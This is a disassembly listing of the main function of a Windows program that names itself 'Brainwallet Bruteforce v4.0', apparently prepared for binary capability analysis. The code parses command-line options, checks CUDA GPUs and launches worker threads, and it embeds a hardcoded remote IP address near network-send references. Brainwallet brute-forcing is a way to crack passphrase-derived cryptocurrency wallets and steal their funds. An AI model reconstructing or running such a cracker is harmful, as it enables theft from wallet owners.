Function at 0x14001e650
Capabilities:
Create thread
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4e8]
sub rsp, 0x5c0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400522c0]
xor rax, rsp
mov qword [rbp + 0x4a8], rax
mov rbx, rdx
mov esi, ecx
xor r14d, r14d
mov r13d, r14d
mov dword [rsp + 0x38], r14d
lea rcx, str._nBrainwallet_Bruteforce_v4.0__9.02.2024__n_n
call fcn.140002610
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], send
mov qword [rbp + 0x38], send
movsd xmm0, qword [str.96.56.157.174]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x140038fe0]
mov dword [rbp + 0x28], eax
movzx eax, byte [0x140038fe4]
mov byte [rbp + 0x2c], al
mov byte [rbp + 0x2d], r13b
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x1400399d0]
movdqu xmmword [rbp + 0x70], xmm1
mov byte [rbp + 0x60], r14b
movups xmmword [rbp + 0x40], xmm0
movdqu xmmword [rbp + 0x50], xmm1
mov byte [rbp + 0x40], r14b
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], send
mov byte [rbp - 0x58], r14b
mov edi, 1
lea r12, [r14 - 1]
cmp esi, edi
jle 0x14001e7f1
add rbx, 8
mov rdx, qword [rbx]
cmp byte [rdx], 0x2d
jne 0x14001e81b
cmp byte [rdx + 1], 0x73
jne 0x14001e74c
cmp byte [rdx + 2], 0
je 0x14001e7e3
cmp byte [rdx], 0x2d
jne 0x14001e81b
cmp byte [rdx + 1], 0x70
jne 0x14001e780
cmp byte [rdx + 2], 0
jne 0x14001e780
inc edi
add rbx, 8
mov rdx, qword [rbx]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14001e770
lea rcx, [rbp + 0x60]
jmp 0x14001e7de
cmp byte [rdx], 0x2d
jne 0x14001e81b
cmp byte [rdx + 1], 0x75
jne 0x14001e7b1
cmp byte [rdx + 2], 0
jne 0x14001e7b1
inc edi
add rbx, 8
mov rdx, qword [rbx]
mov r8, r12
inc r8
cmp byte [rdx + r8], 0
jne 0x14001e7a1
lea rcx, [rbp + 0x40]
jmp 0x14001e7de
cmp byte [rdx], 0x2d
jne 0x14001e81b
cmp byte [rdx + 1], 0x64
jne 0x14001e81b
cmp byte [rdx + 2], 0
jne 0x14001e81b
inc edi
add rbx, 8
mov rdx, qword [rbx]
mov r8, r12
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x14001e7d0
lea rcx, [rbp - 0x58]
call fcn.140005f20
inc edi
add rbx, 8
cmp edi, esi
jl 0x14001e730
mov dword [rsp + 0x30], r14d
lea rcx, [rsp + 0x30]
call fcn.14001f530
cmp eax, 0x23
jne 0x14001e831
lea rcx, str.Upgrade_your_NVIDIA_driver_n
call fcn.140002610
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Unknown_argument:__s_n
call fcn.140002610
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov eax, dword [rsp + 0x30]
test eax, eax
jne 0x14001e84f
lea rcx, str.No_CUDA_devices_found_n
call fcn.140002610
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp - 0x48]
test rcx, rcx
jne 0x14001ea15
mov edi, r14d
test eax, eax
jle 0x14001ea15
test edi, edi
je 0x14001e8ba
mov rdx, qword [rbp - 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x14001e898
lea rax, [rcx + 1]
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x58]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x58]
mov word [rax + rcx], 0x2c
jmp 0x14001e8b8
mov qword [rsp + 0x20], 1
lea r9, [0x140046dd8]
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x58]
call fcn.14000be30
test edi, edi
lea r10, [rbp + 0x4a5]
mov r8d, edi
jns 0x14001e910
neg r8d
nop dword [rax]
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x14001e8d0
dec r10
mov byte [r10], 0x2d
jmp 0x14001e93a
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x14001e910
lea r9, [rsp + 0x34]
lea r8, [rbp + 0x4a5]
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.140012fe0
or r13d, 0x30
lea r9, [rbp - 0x38]
mov rsi, qword [rbp - 0x38]
mov r14, qword [rbp - 0x20]
cmp r14, 0xf
cmova r9, rsi
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rax, rdx
sub rax, rcx
mov r15, qword [rbp - 0x28]
cmp r15, rax
ja 0x14001e9ae
lea rax, [rcx + r15]
mov qword [rbp - 0x48], rax
lea rbx, [rbp - 0x58]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x58]
add rbx, rcx
mov r8, r15
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + r15], 0
jmp 0x14001e9ca
mov qword [rsp + 0x20], r15
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp - 0x58]
call fcn.14000be30
mov r14, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x38]
cmp r14, 0xf
jbe 0x14001ea01
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14001e9f9
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f120
mov rcx, rsi
call fcn.1400357cc
inc edi
cmp edi, dword [rsp + 0x30]
jge 0x14001ea12
mov rcx, qword [rbp - 0x48]
jmp 0x14001e867
xor r14d, r14d
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x70]
call fcn.1400184d0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
cmp rdi, rsi
je 0x14001eb52
mov r14d, 0xb2d05e00
nop dword [rax + rax]
mov ebx, dword [rdi]
cmp ebx, dword [rsp + 0x30]
jge 0x14001ebe5
test ebx, ebx
js 0x14001ebe5
mov ecx, ebx
call fcn.140020570
mov edx, ebx
test eax, eax
jne 0x14001ebcf
lea rcx, [rbp + 0x80]
call fcn.14001f660
test eax, eax
jne 0x14001ebb7
cmp qword [rbp + 0x1a0], r14
jb 0x14001eb9f
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xor eax, eax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x80]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14001eab1
lea rdx, [rbp + 0x80]
lea rcx, [rbp]
call fcn.140006620
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, qword [rsp + 0x58]
je 0x14001eafc
movups xmm0, xmmword [rbp]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [rdx + 0x10], xmm1
mov eax, send
mov qword [rbp + 0x18], rax
mov byte [rbp], 0
add qword [rsp + 0x50], 0x20
jmp 0x14001eb0e
lea r8, [rbp]
lea rcx, [rsp + 0x48]
call fcn.140006dd0
mov rax, qword [rbp + 0x18]
cmp rax, 0xf
jbe 0x14001eb42
lea rdx, [rax + 1]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001eb3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb98
call fcn.1400357cc
add rdi, 4
cmp rdi, rsi
jne 0x14001ea50
xor r14d, r14d
mov ecx, 0x18
call fcn.140035790
mov rbx, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14001ebfd
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_CacheImpl_.0
mov qword [rbx], rax
lea rax, vtable.CacheImpl.0
mov qword [rbx + 0x10], rax
jmp 0x14001ec00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, ebx
lea rcx, str.Device__d_has_less_than_3GB_of_memory_n
call fcn.140002610
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, ebx
lea rcx, str.Failed_to_get_device__d_properties_n
call fcn.140002610
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Failed_to_set_device__d_n
call fcn.140002610
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, ebx
lea rcx, str.Invalid_device_number:__d_n
call fcn.140002610
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, r14
lea rdi, [rbx + 0x10]
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rbx
mov ecx, 0xe0
call fcn.140035790
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14001ec66
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rbx
xorps xmm6, xmm6
movdqu xmmword [rbp - 0x70], xmm6
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x40]
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x20]
mov rcx, rax
call fcn.140002df0
psrldq xmm6, 8
movq rbx, xmm6
jmp 0x14001ec69
mov rax, r14
mov rdi, qword [0x1400533b8]
mov qword [0x1400533b8], rax
test rdi, rdi
je 0x14001ec92
mov rcx, rdi
call fcn.140004a20
mov edx, 0xe0
mov rcx, rdi
call fcn.1400357cc
nop
test rbx, rbx
je 0x14001ecc6
mov eax, r12d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14001ecc6
mov rbx, qword [rbp - 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r12d
cmp r12d, 1
jne 0x14001ecc6
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 8]
lea rdx, str.Preparing..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006220
mov rbx, r14
mov qword [rbp - 0x60], rbx
lea rdx, [rbp - 0x78]
mov rcx, qword [0x1400533b8]
call fcn.1400037a0
mov r13, qword [rax]
mov qword [rax], r14
mov rdi, rbx
mov rbx, r13
mov qword [rbp - 0x60], rbx
test rdi, rdi
je 0x14001ed1a
mov rcx, rdi
call fcn.140005e30
mov edx, 0x38
mov rcx, rdi
call fcn.1400357cc
mov rdi, qword [rbp - 0x78]
test rdi, rdi
je 0x14001ed38
mov rcx, rdi
call fcn.140005e30
mov edx, 0x38
mov rcx, rdi
call fcn.1400357cc
test r13, r13
je 0x14001f07d
mov rsi, qword [rsp + 0x78]
sub rsi, qword [rsp + 0x70]
sar rsi, 2
mov ecx, 0xd0
call fcn.140035790
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14001edcd
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [rax + 0x10], r14
lea rcx, [rax + 0x18]
mov dword [rcx], r14d
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
movups xmmword [rcx + 0x28], xmm0
movups xmmword [rcx + 0x38], xmm0
mov qword [rcx + 0x48], 0
mov edx, 2
call sub.MSVCP140.dll__Mtx_init_in_situ
lea rcx, [rdi + 0x68]
call sub.MSVCP140.dll__Cnd_init_in_situ
mov dword [rdi + 0xb0], esi
mov dword [rdi + 0xb4], esi
mov dword [rdi + 0xb8], r14d
mov qword [rdi + 0xc0], r14
mov byte [rdi + 0xc8], 0
jmp 0x14001edd0
mov rdi, r14
mov rdx, qword [0x1400533b0]
mov qword [0x1400533b0], rdi
test rdx, rdx
je 0x14001edef
lea rcx, [0x1400533b0]
call fcn.140015aa0
mov r12, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
cmp r12, rax
je 0x14001f01b
nop word [rax + rax]
mov r15d, dword [r12]
mov dword [rsp + 0x38], r15d
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r14
mov rsi, qword [r13 + 8]
sub rsi, qword [r13]
sar rsi, 5
test rsi, rsi
je 0x14001ef03
movabs rax, 0x7ffffffffffffff
cmp rsi, rax
ja 0x14001f2ab
shl rsi, 5
cmp rsi, 0x1000
jb 0x14001ee83
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x14001f2a5
call fcn.140035790
test rax, rax
je 0x14001f076
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14001ee98
test rsi, rsi
je 0x14001ee95
mov rcx, rsi
call fcn.140035790
mov rdi, rax
jmp 0x14001ee98
mov rdi, r14
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rdi
lea rax, [rsi + rdi]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x38]
mov qword [rsp + 0x60], rax
mov r14, qword [r13 + 8]
mov rsi, qword [r13]
mov qword [rbp + 0x490], rdi
mov qword [rbp + 0x498], rdi
lea rax, [rbp - 0x38]
mov qword [rbp + 0x4a0], rax
cmp rsi, r14
je 0x14001eeff
nop word [rax + rax]
mov rdx, rsi
mov rcx, rdi
call fcn.1400059d0
add rdi, 0x20
mov qword [rbp + 0x498], rdi
add rsi, 0x20
cmp rsi, r14
jne 0x14001eee0
mov qword [rbp - 0x30], rdi
lea rdx, [r13 + 0x18]
lea rcx, [rbp - 0x20]
call fcn.1400059d0
nop
mov rsi, qword [0x1400533b0]
mov r14, qword [rsi + 8]
cmp r14, qword [rsi + 0x10]
je 0x14001ef94
mov ecx, 0x48
call fcn.140035790
mov rdi, rax
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14001ef55
lea rdx, [rbp - 0x38]
mov rcx, rax
call fcn.140015180
mov dword [rdi + 0x38], r15d
lea rax, [0x14001dca0]
mov qword [rdi + 0x40], rax
jmp 0x14001ef57
xor edi, edi
mov qword [rsp + 0x60], rdi
lea r15, [r14 + 8]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0
mov r9, rdi
lea r8, [0x140014420]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [r14], rax
test rax, rax
je 0x14001f2b1
add qword [rsi + 8], 0x10
jmp 0x14001efb5
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x38]
lea r8, [0x14001dca0]
mov rdx, r14
mov rcx, rsi
call fcn.140013a20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14001eff0
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001efeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f076
call fcn.1400357cc
xor r14d, r14d
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], send
mov byte [rbp - 0x20], r14b
lea rcx, [rbp - 0x38]
call fcn.140005dc0
add r12, 4
cmp r12, qword [rsp + 0x40]
jne 0x14001ee10
mov rax, qword [0x1400533b0]
mov rdi, qword [rax]
mov rsi, qword [rax + 8]
cmp rdi, rsi
je 0x14001ece0
cmp dword [rdi + 8], 0
je 0x14001f068
call sub.MSVCP140.dll__Thrd_id
cmp dword [rdi + 8], eax
je 0x14001f29a
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x60], xmm0
xor edx, edx
lea rcx, [rsp + 0x60]
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x14001f2c3
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
add rdi, 0x10
cmp rdi, rsi
jne 0x14001f032
jmp 0x14001ece0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14001f0e2
lea r8, [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
call fcn.140006730
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f0cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001f0cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400357cc
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14001f139
mov rax, qword [rbp - 0x80]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f127
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001f127
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400357cc
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14001f177
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f172
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001f172
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400357cc
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], send
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14001f1c5
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f1c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001f1c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400357cc
movdqa xmm0, xmmword [0x1400399d0]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14001f214
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f20f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001f20f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400357cc
movdqa xmm0, xmmword [0x1400399d0]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14001f263
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f25e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001f25e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400357cc
xor eax, eax
mov rcx, qword [rbp + 0x4a8]
xor rcx, rsp
call fcn.140035770
lea r11, [rsp + 0x5c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
call fcn.140001390
int3
call fcn.140001f40
nop
mov dword [r15], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 2
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3